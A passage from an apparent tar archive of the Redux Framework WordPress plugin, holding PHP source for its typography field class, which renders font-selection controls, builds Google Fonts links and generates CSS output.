$this->field['text-decoration'] === true ) { echo '<div class="select_wrapper typography-decoration tooltip" original-title="' . __( 'Text Decoration', 'redux-framework' ) . '">'; echo '<label>' . __( 'Text Decoration', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Text Decoration', 'redux-framework' ) . '" class="redux-typography redux-typography-decoration ' . $this->field['class'] . '" original-title="' . __( 'Text Decoration', 'redux-framework' ) . '" id="' . $this->field['id'] . '-decoration" name="' . $this->field['name'] . $this->field['name_suffix'] . '[text-decoration]' . '" data-value="' . $this->value['text-decoration'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $values = array( 'none', 'inherit', 'underline', 'overline', 'line-through', 'blink' ); foreach ( $values as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['text-decoration'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Font Size */ if ( $this->field['font-size'] === true ) { echo '<div class="input_wrapper font-size redux-container-typography">'; echo '<label>' . __( 'Font Size', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography redux-typography-size mini typography-input ' . $this->field['class'] . '" title="' . __( 'Font Size', 'redux-framework' ) . '" placeholder="' . __( 'Size', 'redux-framework' ) . '" id="' . $this->field['id'] . '-size" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-size]' . '" value="' . str_replace( $unit, '', $this->value['font-size'] ) . '" data-value="' . str_replace( $unit, '', $this->value['font-size'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="typography-font-size" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-size]' . '" value="' . $this->value['font-size'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } /* Line Height */ if ( $this->field['line-height'] === true ) { echo '<div class="input_wrapper line-height redux-container-typography">'; echo '<label>' . __( 'Line Height', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography redux-typography-height mini typography-input ' . $this->field['class'] . '" title="' . __( 'Line Height', 'redux-framework' ) . '" placeholder="' . __( 'Height', 'redux-framework' ) . '" id="' . $this->field['id'] . '-height" value="' . str_replace( $unit, '', $this->value['line-height'] ) . '" data-value="' . str_replace( $unit, '', $this->value['line-height'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="typography-line-height" name="' . $this->field['name'] . $this->field['name_suffix'] . '[line-height]' . '" value="' . $this->value['line-height'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } /* Word Spacing */ if ( $this->field['word-spacing'] === true ) { echo '<div class="input_wrapper word-spacing redux-container-typography">'; echo '<label>' . __( 'Word Spacing', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography redux-typography-word mini typography-input ' . $this->field['class'] . '" title="' . __( 'Word Spacing', 'redux-framework' ) . '" placeholder="' . __( 'Word Spacing', 'redux-framework' ) . '" id="' . $this->field['id'] . '-word" value="' . str_replace( $unit, '', $this->value['word-spacing'] ) . '" data-value="' . str_replace( $unit, '', $this->value['word-spacing'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="typography-word-spacing" name="' . $this->field['name'] . $this->field['name_suffix'] . '[word-spacing]' . '" value="' . $this->value['word-spacing'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } /* Letter Spacing */ if ( $this->field['letter-spacing'] === true ) { echo '<div class="input_wrapper letter-spacing redux-container-typography">'; echo '<label>' . __( 'Letter Spacing', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography redux-typography-letter mini typography-input ' . $this->field['class'] . '" title="' . __( 'Letter Spacing', 'redux-framework' ) . '" placeholder="' . __( 'Letter Spacing', 'redux-framework' ) . '" id="' . $this->field['id'] . '-letter" value="' . str_replace( $unit, '', $this->value['letter-spacing'] ) . '" data-value="' . str_replace( $unit, '', $this->value['letter-spacing'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="typography-letter-spacing" name="' . $this->field['name'] . $this->field['name_suffix'] . '[letter-spacing]' . '" value="' . $this->value['letter-spacing'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } echo '<div class="clearfix"></div>'; /* Font Color */ if ( $this->field['color'] === true ) { $default = ""; if ( empty( $this->field['default']['color'] ) && ! empty( $this->field['color'] ) ) { $default = $this->value['color']; } else if ( ! empty( $this->field['default']['color'] ) ) { $default = $this->field['default']['color']; } echo '<div class="picker-wrapper">'; echo '<label>' . __( 'Font Color', 'redux-framework' ) . '</label>'; echo '<div id="' . $this->field['id'] . '_color_picker" class="colorSelector typography-color"><div style="background-color: ' . $this->value['color'] . '"></div></div>'; echo '<input data-default-color="' . $default . '" class="redux-color redux-typography-color ' . $this->field['class'] . '" original-title="' . __( 'Font color', 'redux-framework' ) . '" id="' . $this->field['id'] . '-color" name="' . $this->field['name'] . $this->field['name_suffix'] . '[color]' . '" type="text" value="' . $this->value['color'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } echo '<div class="clearfix"></div>'; /* Font Preview */ if ( ! isset( $this->field['preview'] ) || $this->field['preview'] !== false ) { if ( isset( $this->field['preview']['text'] ) ) { $g_text = $this->field['preview']['text']; } else { $g_text = '1 2 3 4 5 6 7 8 9 0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z'; } $style = ''; if ( isset( $this->field['preview']['always_display'] ) ) { if ( true === filter_var( $this->field['preview']['always_display'], FILTER_VALIDATE_BOOLEAN ) ) { if ( $isGoogleFont == true ) { $this->parent->typography_preview[ $fontFamily[0] ] = array( 'font-style' => array( $this->value['font-weight'] . $this->value['font-style'] ), 'subset' => array( $this->value['subsets'] ) ); $protocol = ( ! empty( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443 ) ? "https:" : "http:"; wp_deregister_style( 'redux-typography-preview' ); wp_dequeue_style( 'redux-typography-preview' ); wp_register_style( 'redux-typography-preview', $protocol . $this->makeGoogleWebfontLink( $this->parent->typography_preview ), '', time() ); wp_enqueue_style( 'redux-typography-preview' ); } $style = 'display: block; font-family: ' . $this->value['font-family'] . '; font-weight: ' . $this->value['font-weight'] . ';'; } } if ( isset( $this->field['preview']['font-size'] ) ) { $style .= 'font-size: ' . $this->field['preview']['font-size'] . ';'; $inUse = '1'; } else { //$g_size = ''; $inUse = '0'; } echo '<p data-preview-size="' . $inUse . '" class="clear ' . $this->field['id'] . '_previewer typography-preview" ' . 'style="' . $style . '">' . $g_text . '</p>'; echo '</div>'; // end typography container } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { if (!wp_style_is('select2-css')) { wp_enqueue_style( 'select2-css' ); } if (!wp_style_is('wp-color-picker')) { wp_enqueue_style( 'wp-color-picker' ); } if (!wp_script_is ( 'redux-field-typography-js' )) { wp_enqueue_script( 'redux-field-typography-js', ReduxFramework::$_url . 'inc/fields/typography/field_typography' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'select2-js', 'redux-js' ), time(), true ); } wp_localize_script( 'redux-field-typography-js', 'redux_ajax_script', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) ); if ($this->parent->args['dev_mode']) { if (!wp_style_is('redux-color-picker-css')) { wp_enqueue_style( 'redux-color-picker-css' ); } if (!wp_style_is('redux-field-typography-css')) { wp_enqueue_style( 'redux-field-typography-css', ReduxFramework::$_url . 'inc/fields/typography/field_typography.css', array(), time(), 'all' ); } } } //function /** * makeGoogleWebfontLink Function. * Creates the google fonts link. * * @since ReduxFramework 3.0.0 */ function makeGoogleWebfontLink( $fonts ) { $link = ""; $subsets = array(); foreach ( $fonts as $family => $font ) { if ( ! empty( $link ) ) { $link .= "%7C"; // Append a new font to the string } $link .= $family; if ( ! empty( $font['font-style'] ) || ! empty( $font['all-styles'] ) ) { $link .= ':'; if ( ! empty( $font['all-styles'] ) ) { $link .= implode( ',', $font['all-styles'] ); } else if ( ! empty( $font['font-style'] ) ) { $link .= implode( ',', $font['font-style'] ); } } if ( ! empty( $font['subset'] ) ) { foreach ( $font['subset'] as $subset ) { if ( ! in_array( $subset, $subsets ) ) { array_push( $subsets, $subset ); } } } } if ( ! empty( $subsets ) ) { $link .= "&subset=" . implode( ',', $subsets ); } $link .= "&display=swap"; return '//fonts.googleapis.com/css?family=' . str_replace( '|', '%7C', $link ); } /** * makeGoogleWebfontString Function. * Creates the google fonts link. * * @since ReduxFramework 3.1.8 */ function makeGoogleWebfontString( $fonts ) { $link = ""; $subsets = array(); foreach ( $fonts as $family => $font ) { if ( ! empty( $link ) ) { $link .= "', '"; // Append a new font to the string } $link .= $family; if ( ! empty( $font['font-style'] ) || ! empty( $font['all-styles'] ) ) { $link .= ':'; if ( ! empty( $font['all-styles'] ) ) { $link .= implode( ',', $font['all-styles'] ); } else if ( ! empty( $font['font-style'] ) ) { $link .= implode( ',', $font['font-style'] ); } } if ( ! empty( $font['subset'] ) ) { foreach ( $font['subset'] as $subset ) { if ( ! in_array( $subset, $subsets ) ) { array_push( $subsets, $subset ); } } } } if ( ! empty( $subsets ) ) { $link .= "&subset=" . implode( ',', $subsets ); } $link .= '&display=swap'; return "'" . $link . "'"; } function output() { $font = $this->value; // Shim out old arg to new if ( isset( $this->field['all_styles'] ) && ! empty( $this->field['all_styles'] ) ) { $this->field['all-styles'] = $this->field['all_styles']; unset ( $this->field['all_styles'] ); } // Check for font-backup. If it's set, stick it on a variabhle for // later use. if ( ! empty( $font['font-family'] ) && ! empty( $font['font-backup'] ) ) { $font['font-family'] = str_replace( ', ' . $font['font-backup'], '', $font['font-family'] ); $fontBackup = ',' . $font['font-backup']; } // if (strpos($font['font-family'], ' ')) { // $font['font-family'] = '"' . $font['font-family'] . '"'; // } $style = ''; $fontValueSet = false; if ( ! empty( $font ) ) { foreach ( $font as $key => $value ) { if ( ! empty( $value ) && in_array( $key, array( 'font-family', 'font-weight' ) ) ) { $fontValueSet = true; } } } if ( ! empty( $font ) ) { foreach ( $font as $key => $value ) { if ( $key == 'font-options' ) { continue; } // Check for font-family key if ( 'font-family' == $key ) { // Enclose font family in quotes if spaces are in the // name. This is necessary because if there are numerics // in the font name, they will not render properly. // Google should know better. if (strpos($value, ' ') && !strpos($value, ',')){ $value = '"' . $value . '"'; } // Ensure fontBackup isn't empty (we already option // checked this earlier. No need to do it again. if ( ! empty( $fontBackup ) ) { // Apply the backup font to the font-family element // via the saved variable. We do this here so it // doesn't get appended to the Google stuff below. $value .= $fontBackup; } } if ( empty( $value ) && in_array( $key, array( 'font-weight', 'font-style' ) ) && $fontValueSet == true ) { $value = "normal"; } if ($key == 'font-weight' && $this->field['font-weight'] == false) { continue; } if ($key == 'font-style' && $this->field['font-style'] == false) { continue; } if ( $key == "google" || $key == "subsets" || $key == "font-backup" || empty( $value ) ) { continue; } $style .= $key . ':' . $value . ';'; } if ( isset( $this->parent->args['async_typography'] ) && $this->parent->args['async_typography'] ) { $style .= 'opacity: 1;visibility: visible;-webkit-transition: opacity 0.24s ease-in-out;-moz-transition: opacity 0.24s ease-in-out;transition: opacity 0.24s ease-in-out;'; } } if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $this->parent->outputCSS .= $keys . "{" . $style . '}'; if ( isset( $this->parent->args['async_typography'] ) && $this->parent->args['async_typography'] ) { $key_string = ""; $key_string_ie = ""; foreach ( $this->field['output'] as $value ) { if (strpos($value,',') !== false) { $arr = explode(',', $value); foreach ($arr as $subvalue) { $key_string .= ".wf-loading " . $subvalue . ','; $key_string_ie .= ".ie.wf-loading " . $subvalue . ','; } } else { $key_string .= ".wf-loading " . $value . ','; $key_string_ie .= ".ie.wf-loading " . $value . ','; } } $this->parent->outputCSS .= rtrim( $key_string, ',' ) . "{opacity: 0;}"; $this->parent->outputCSS .= rtrim( $key_string_ie, ',' ) . "{visibility: hidden;}"; } } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $this->parent->compilerCSS .= $keys . "{" . $style . '}'; if ( isset( $this->parent->args['async_typography'] ) && $this->parent->args['async_typography'] ) { $key_string = ""; $key_string_ie = ""; foreach ( $this->field['compiler'] as $value ) { if (strpos($value,',') !== false) { $arr = explode(',', $value); foreach ($arr as $subvalue) { $key_string .= ".wf-loading " . $subvalue . ','; $key_string_ie .= ".ie.wf-loading " . $subvalue . ','; } } else { $key_string .= ".wf-loading " . $value . ','; $key_string_ie .= ".ie.wf-loading " . $value . ','; } } $this->parent->compilerCSS .= rtrim( $key_string, ',' ) . "{opacity: 0;}"; $this->parent->compilerCSS .= rtrim( $key_string_ie, ',' ) . "{visibility: hidden;}"; } } } // Google only stuff! if ( ! empty( $font['font-family'] ) && ! empty( $this->field['google'] ) && filter_var( $this->field['google'], FILTER_VALIDATE_BOOLEAN ) ) { // Added standard font matching check to avoid output to Google fonts call - kp // If no custom font array was supplied, the load it with default // standard fonts. if ( empty( $this->field['fonts'] ) ) { $this->field['fonts'] = $this->std_fonts; } // Ensure the fonts array is NOT empty if ( ! empty( $this->field['fonts'] ) ) { //Make the font keys in the array lowercase, for case-insensitive matching $lcFonts = array_change_key_case( $this->field['fonts'] ); // Rebuild font array with all keys stripped of spaces $arr = array(); foreach ( $lcFonts as $key => $value ) { $key = str_replace( ', ', ',', $key ); $arr[ $key ] = $value; } $lcFonts = array_change_key_case( $this->field['custom_fonts'] ); foreach ( $lcFonts as $group => $fontArr ) { foreach ( $fontArr as $key => $value ) { $arr[ strtolower( $key ) ] = $key; } } $lcFonts = $arr; unset( $arr ); // lowercase chosen font for matching purposes $lcFont = strtolower( $font['font-family'] ); // Remove spaces after commas in chosen font for mathcing purposes. $lcFont = str_replace( ', ', ',', $lcFont ); // If the lower cased passed font-family is NOT found in the standard font array // Then it's a Google font, so process it for output. if ( ! array_key_exists( $lcFont, $lcFonts ) ) { $family = $font['font-family']; // Strip out spaces in font names and replace with with plus signs // TODO?: This method doesn't respect spaces after commas, hence the reason // for the std_font array keys having no spaces after commas. This could be // fixed with RegEx in the future. $font['font-family'] = str_replace( ' ', '+', $font['font-family'] ); // Push data to parent typography variable. if ( empty( $this->parent->typography[ $font['font-family'] ] ) ) { $this->parent->typography[ $font['font-family'] ] = array(); } if ( isset( $this->field['all-styles'] ) ) { if ( ! isset( $font['font-options'] ) || empty( $font['font-options'] ) ) { $this->getGoogleArray(); if ( isset( $this->parent->googleArray ) && ! empty( $this->parent->googleArray ) && isset( $this->parent->googleArray[ $family ] ) ) { $font['font-options'] = $this->parent->googleArray[ $family ]; } } else { $font['font-options'] = json_decode( $font['font-options'], true ); } //print_r($font['font-options']); //exit(); } if ( isset( $font['font-options'] ) && ! empty( $font['font-options'] ) && isset( $this->field['all-styles'] ) && filter_var( $this->field['all-styles'], FILTER_VALIDATE_BOOLEAN ) ) { if ( isset( $font['font-options'] ) && ! empty( $font['font-options']['variants'] ) ) { if ( ! isset( $this->parent->typography[ $font['font-family'] ]['all-styles'] ) || empty( $this->parent->typography[ $font['font-family'] ]['all-styles'] ) ) { $this->parent->typography[ $font['font-family'] ]['all-styles'] = array(); foreach ( $font['font-options']['variants'] as $variant ) { $this->parent->typography[ $font['font-family'] ]['all-styles'][] = $variant['id']; } } } } if ( ! empty( $font['font-weight'] ) ) { if ( empty( $this->parent->typography[ $font['font-family'] ]['font-weight'] ) || ! in_array( $font['font-weight'], $this->parent->typography[ $font['font-family'] ]['font-weight'] ) ) { $style = $font['font-weight']; } if ( ! empty( $font['font-style'] ) ) { $style .= $font['font-style']; } if ( empty( $this->parent->typography[ $font['font-family'] ]['font-style'] ) || ! in_array( $style, $this->parent->typography[ $font['font-family'] ]['font-style'] ) ) { $this->parent->typography[ $font['font-family'] ]['font-style'][] = $style; } } if ( ! empty( $font['subsets'] ) ) { if ( empty( $this->parent->typography[ $font['font-family'] ]['subset'] ) || ! in_array( $font['subsets'], $this->parent->typography[ $font['font-family'] ]['subset'] ) ) { $this->parent->typography[ $font['font-family'] ]['subset'][] = $font['subsets']; } } } // !array_key_exists } //!empty fonts array } // Typography not set } private function localizeStdFonts() { if ( false == $this->user_fonts ) { if ( isset( $this->parent->fonts['std'] ) && ! empty( $this->parent->fonts['std'] ) ) { return; } $this->parent->font_groups['std'] = array( 'text' => __( 'Standard Fonts', 'redux-framework' ), 'children' => array(), ); foreach ( $this->field['fonts'] as $font => $extra ) { $this->parent->font_groups['std']['children'][] = array( 'id' => $font, 'text' => $font, 'data-google' => 'false', ); } } if ( $this->field['custom_fonts'] !== false ) { $this->field['custom_fonts'] = apply_filters( "redux/{$this->parent->args['opt_name']}/field/typography/custom_fonts", array() ); if ( ! empty( $this->field['custom_fonts'] ) ) { foreach ( $this->field['custom_fonts'] as $group => $fonts ) { $this->parent->font_groups['customfonts'] = array( 'text' => $group, 'children' => array(), ); foreach ( $fonts as $family => $v ) { $this->parent->font_groups['customfonts']['children'][] = array( 'id' => $family, 'text' => $family, 'data-google' => 'false', ); } } } } } /** * Construct the google array from the stored JSON/HTML */ function getGoogleArray() { if ( ( isset( $this->parent->fonts['google'] ) && ! empty( $this->parent->fonts['google'] ) ) || isset( $this->parent->fonts['google'] ) && $this->parent->fonts['google'] == false ) { return; } $gFile = dirname( __FILE__ ) . '/googlefonts.php'; // Weekly update if ( isset( $this->parent->args['google_update_weekly'] ) && $this->parent->args['google_update_weekly'] && ! empty( $this->parent->args['google_api_key'] ) ) { if ( file_exists( $gFile ) ) { // Keep the fonts updated weekly $weekback = strtotime( date( 'jS F Y', time() + ( 60 * 60 * 24 * - 7 ) ) ); $last_updated = filemtime( $gFile ); if ( $last_updated < $weekback ) { unlink( $gFile ); } } } if ( ! file_exists( $gFile ) ) { $result = @wp_remote_get( apply_filters( 'redux-google-fonts-api-url', 'https://www.googleapis.com/webfonts/v1/webfonts?key=' ) . $this->parent->args['google_api_key'], array( 'sslverify' => false ) ); if ( ! is_wp_error( $result ) && $result['response']['code'] == 200 ) { $result = json_decode( $result['body'] ); foreach ( $result->items as $font ) { $this->parent->googleArray[ $font->family ] = array( 'variants' => $this->getVariants( $font->variants ), 'subsets' => $this->getSubsets( $font->subsets ) ); } if ( ! empty( $this->parent->googleArray ) ) { $this->parent->filesystem->execute( 'put_contents', $gFile, array( 'content' => "<?php return json_decode( '" . json_encode( $this->parent->googleArray ) . "', true );" ) ); } } } if ( ! file_exists( $gFile ) ) { $this->parent->fonts['google'] = false; return; } if ( ! isset( $this->parent->fonts['google'] ) || empty( $this->parent->fonts['google'] ) ) { $fonts = include $gFile; if ( $fonts === true ) { $this->parent->fonts['google'] = false; return; } if ( isset( $fonts ) && ! empty( $fonts ) && is_array( $fonts ) && $fonts != false ) { $this->parent->fonts['google'] = $fonts; $this->parent->googleArray = $fonts; // optgroup $this->parent->font_groups['google'] = array( 'text' => __( 'Google Webfonts', 'redux-framework' ), 'children' => array(), ); // options foreach ( $this->parent->fonts['google'] as $font => $extra ) { $this->parent->font_groups['google']['children'][] = array( 'id' => $font, 'text' => $font, 'data-google' => 'true' ); } } } } /** * getSubsets Function. * Clean up the Google Webfonts subsets to be human readable * * @since ReduxFramework 0.2.0 */ private function getSubsets( $var ) { $result = array(); foreach ( $var as $v ) { if ( strpos( $v, "-ext" ) ) { $name = ucfirst( str_replace( "-ext", " Extended", $v ) ); } else { $name = ucfirst( $v ); } array_push( $result, array( 'id' => $v, 'name' => $name ) ); } return array_filter( $result ); } //function /** * getVariants Function. * Clean up the Google Webfonts variants to be human readable * * @since ReduxFramework 0.2.0 */ private function getVariants( $var ) { $result = array(); $italic = array(); foreach ( $var as $v ) { $name = ""; if ( $v[0] == 1 ) { $name = 'Ultra-Light 100'; } else if ( $v[0] == 2 ) { $name = 'Light 200'; } else if ( $v[0] == 3 ) { $name = 'Book 300'; } else if ( $v[0] == 4 || $v[0] == "r" || $v[0] == "i" ) { $name = 'Normal 400'; } else if ( $v[0] == 5 ) { $name = 'Medium 500'; } else if ( $v[0] == 6 ) { $name = 'Semi-Bold 600'; } else if ( $v[0] == 7 ) { $name = 'Bold 700'; } else if ( $v[0] == 8 ) { $name = 'Extra-Bold 800'; } else if ( $v[0] == 9 ) { $name = 'Ultra-Bold 900'; } if ( $v == "regular" ) { $v = "400"; } if ( strpos( $v, "italic" ) || $v == "italic" ) { $name .= " Italic"; $name = trim( $name ); if ( $v == "italic" ) { $v = "400italic"; } $italic[] = array( 'id' => $v, 'name' => $name ); } else { $result[] = array( 'id' => $v, 'name' => $name ); } } foreach ( $italic as $item ) { $result[] = $item; } return array_filter( $result ); } //function } //class } //class exists �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/field_typography.json�����������������������������������������0000644�����������������00000163045�14720701300�0020362 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class and Function List: * Function list: * - __construct() * - render() * - enqueue() * - makeGoogleWebfontLink() * - makeGoogleWebfontString() * - output() * - getGoogleArray() * - getSubsets() * - getVariants() * Classes list: * - ReduxFramework_typography */ if ( ! class_exists( 'ReduxFramework_typography' ) ) { class ReduxFramework_typography { private $std_fonts = array( "Arial, Helvetica, sans-serif" => "Arial, Helvetica, sans-serif", "'Arial Black', Gadget, sans-serif" => "'Arial Black', Gadget, sans-serif", "'Bookman Old Style', serif" => "'Bookman Old Style', serif", "'Comic Sans MS', cursive" => "'Comic Sans MS', cursive", "Courier, monospace" => "Courier, monospace", "Garamond, serif" => "Garamond, serif", "Georgia, serif" => "Georgia, serif", "Impact, Charcoal, sans-serif" => "Impact, Charcoal, sans-serif", "'Lucida Console', Monaco, monospace" => "'Lucida Console', Monaco, monospace", "'Lucida Sans Unicode', 'Lucida Grande', sans-serif" => "'Lucida Sans Unicode', 'Lucida Grande', sans-serif", "'MS Sans Serif', Geneva, sans-serif" => "'MS Sans Serif', Geneva, sans-serif", "'MS Serif', 'New York', sans-serif" => "'MS Serif', 'New York', sans-serif", "'Palatino Linotype', 'Book Antiqua', Palatino, serif" => "'Palatino Linotype', 'Book Antiqua', Palatino, serif", "Tahoma,Geneva, sans-serif" => "Tahoma, Geneva, sans-serif", "'Times New Roman', Times,serif" => "'Times New Roman', Times, serif", "'Trebuchet MS', Helvetica, sans-serif" => "'Trebuchet MS', Helvetica, sans-serif", "Verdana, Geneva, sans-serif" => "Verdana, Geneva, sans-serif", ); private $user_fonts = true; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field = array(), $value = '', $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; // Shim out old arg to new if ( isset( $this->field['all_styles'] ) && ! empty( $this->field['all_styles'] ) ) { $this->field['all-styles'] = $this->field['all_styles']; unset ( $this->field['all_styles'] ); } // Set field array defaults. No errors please $defaults = array( 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'font-style' => true, 'font-backup' => false, 'subsets' => true, 'custom_fonts' => true, 'text-align' => true, 'text-transform' => false, 'font-variant' => false, 'text-decoration' => false, 'color' => true, 'preview' => true, 'line-height' => true, 'multi' => array( 'subset' => false, 'weight' => false, ), 'word-spacing' => false, 'letter-spacing' => false, 'google' => true, 'update_weekly' => false, // Enable to force updates of Google Fonts to be weekly 'font_family_clear' => true ); $this->field = wp_parse_args( $this->field, $defaults ); // Set value defaults. $defaults = array( 'font-family' => '', 'font-options' => '', 'font-backup' => '', 'text-align' => '', 'text-transform' => '', 'font-variant' => '', 'text-decoration' => '', 'line-height' => '', 'word-spacing' => '', 'letter-spacing' => '', 'subsets' => '', 'google' => false, 'font-script' => '', 'font-weight' => '', 'font-style' => '', 'color' => '', 'font-size' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); // Get the google array $this->getGoogleArray(); if ( empty( $this->field['fonts'] ) ) { $this->user_fonts = false; $this->field['fonts'] = $this->std_fonts; } // Localize std fonts $this->localizeStdFonts(); } function localize( $field, $value = "" ) { $params = array(); if ( true == $this->user_fonts && ! empty( $this->field['fonts'] ) ) { $params['std_font'] = $this->field['fonts']; } return $params; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { // Since fonts declared is CSS (@font-face) are not rendered in the preview, // they can be declared in a CSS file and passed here so they DO display in // font preview. Do NOT pass style.css in your theme, as that will mess up // admin page styling. It's recommended to pass a CSS file with ONLY font // declarations. // If field is set and not blank, then enqueue field if ( isset( $this->field['ext-font-css'] ) && $this->field['ext-font-css'] != '' ) { wp_register_style( 'redux-external-fonts', $this->field['ext-font-css'] ); wp_enqueue_style( 'redux-external-fonts' ); } if ( empty( $this->field['units'] ) && ! empty( $this->field['default']['units'] ) ) { $this->field['units'] = $this->field['default']['units']; } if ( empty( $this->field['units'] ) || ! in_array( $this->field['units'], array( 'px', 'em', 'rem', '%' ) ) ) { $this->field['units'] = 'px'; } $unit = $this->field['units']; echo '<div id="' . $this->field['id'] . '" class="redux-typography-container" id="' . $this->field['id'] . '" data-units="' . $unit . '">'; $val = json_encode( $this->value ); echo "<input type='hidden' name='{$this->field['name']}{$this->field['name_suffix']}' class='{$this->field['class']} typography-data-input' value='{$val}'>"; if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } /* Font Family */ if ( $this->field['font-family'] === true ) { // font family clear echo '<input type="hidden" class="redux-font-clear" value="' . $this->field['font_family_clear'] . '">'; //if (filter_var($this->value['google'], FILTER_VALIDATE_BOOLEAN)) { if ( filter_var( $this->value['google'], FILTER_VALIDATE_BOOLEAN ) ) { // Divide and conquer $fontFamily = explode( ', ', $this->value['font-family'], 2 ); // If array 0 is empty and array 1 is not if ( empty( $fontFamily[0] ) && ! empty( $fontFamily[1] ) ) { // Make array 0 = array 1 $fontFamily[0] = $fontFamily[1]; // Clear array 1 $fontFamily[1] = ""; } } // If no fontFamily array exists, create one and set array 0 // with font value if ( ! isset( $fontFamily ) ) { $fontFamily = array(); $fontFamily[0] = $this->value['font-family']; $fontFamily[1] = ""; } // Is selected font a Google font $isGoogleFont = '0'; if ( isset( $this->parent->fonts['google'][ $fontFamily[0] ] ) ) { $isGoogleFont = '1'; } // If not a Google font, show all font families if ( $isGoogleFont != '1' ) { $fontFamily[0] = $this->value['font-family']; } $userFonts = '0'; if ( true == $this->user_fonts ) { $userFonts = '1'; } echo '<input type="hidden" class="redux-typography-input redux-typography-font-family ' . $this->field['class'] . '" data-user-fonts="' . $userFonts . '" data-name="font-family" value="' . $this->value['font-family'] . '" data-id="' . $this->field['id'] . '" />'; echo '<input type="hidden" class="redux-typography-input redux-typography-font-options ' . $this->field['class'] . '" data-name="font-options" value="' . $this->value['font-options'] . '" data-id="' . $this->field['id'] . '" />'; echo '<input type="hidden" class="redux-typography-google-font" value="' . $isGoogleFont . '" id="' . $this->field['id'] . '-google-font">'; echo '<div class="select_wrapper typography-family" style="width: 220px; margin-right: 5px;">'; echo '<label>' . __( 'Font Family', 'redux-framework' ) . '</label>'; $placeholder = $fontFamily[0] ? $fontFamily[0] : __( 'Font family', 'redux-framework' ); echo '<div class=" redux-typography redux-typography-family select2-container ' . $this->field['class'] . '" id="' . $this->field['id'] . '-family" placeholder="' . $placeholder . '" data-id="' . $this->field['id'] . '" data-value="' . $fontFamily[0] . '">'; echo '</div>'; echo '</div>'; $googleSet = false; if ( $this->field['google'] === true ) { // Set a flag so we know to set a header style or not echo '<input type="hidden" class="redux-typography-input redux-typography-google ' . $this->field['class'] . '" id="' . $this->field['id'] . '-google" data-name="google" type="text" value="' . $this->field['google'] . '" data-id="' . $this->field['id'] . '" />'; $googleSet = true; } } /* Backup Font */ if ( $this->field['font-family'] === true && $this->field['google'] === true ) { if ( false == $googleSet ) { // Set a flag so we know to set a header style or not echo '<input type="hidden" class="redux-typography-input redux-typography-google ' . $this->field['class'] . '" id="' . $this->field['id'] . '-google" data-name="google" type="text" value="' . $this->field['google'] . '" data-id="' . $this->field['id'] . '" />'; } if ( $this->field['font-backup'] === true ) { echo '<div class="select_wrapper typography-family-backup" style="width: 220px; margin-right: 5px;">'; echo '<label>' . __( 'Backup Font Family', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Backup Font Family', 'redux-framework' ) . '" data-name="font-backup" class="redux-typography-input redux-typography redux-typography-family-backup ' . $this->field['class'] . '" id="' . $this->field['id'] . '-family-backup" data-id="' . $this->field['id'] . '" data-value="' . $this->value['font-backup'] . '">'; echo '<option data-google="false" data-details="" value=""></option>'; foreach ( $this->field['fonts'] as $i => $family ) { echo '<option data-google="true" value="' . $i . '"' . selected( $this->value['font-backup'], $i, false ) . '>' . $family . '</option>'; } echo '</select></div>'; } } /* Font Style/Weight */ if ( $this->field['font-style'] === true || $this->field['font-weight'] === true ) { echo '<div class="select_wrapper typography-style" original-title="' . __( 'Font style', 'redux-framework' ) . '">'; echo '<label>' . __( 'Font Weight & Style', 'redux-framework' ) . '</label>'; $style = $this->value['font-weight'] . $this->value['font-style']; echo '<input type="hidden" class="redux-typography-input typography-font-weight" data-name="font-weight" value="' . $this->value['font-weight'] . '" data-id="' . $this->field['id'] . '" /> '; echo '<input type="hidden" class="redux-typography-input 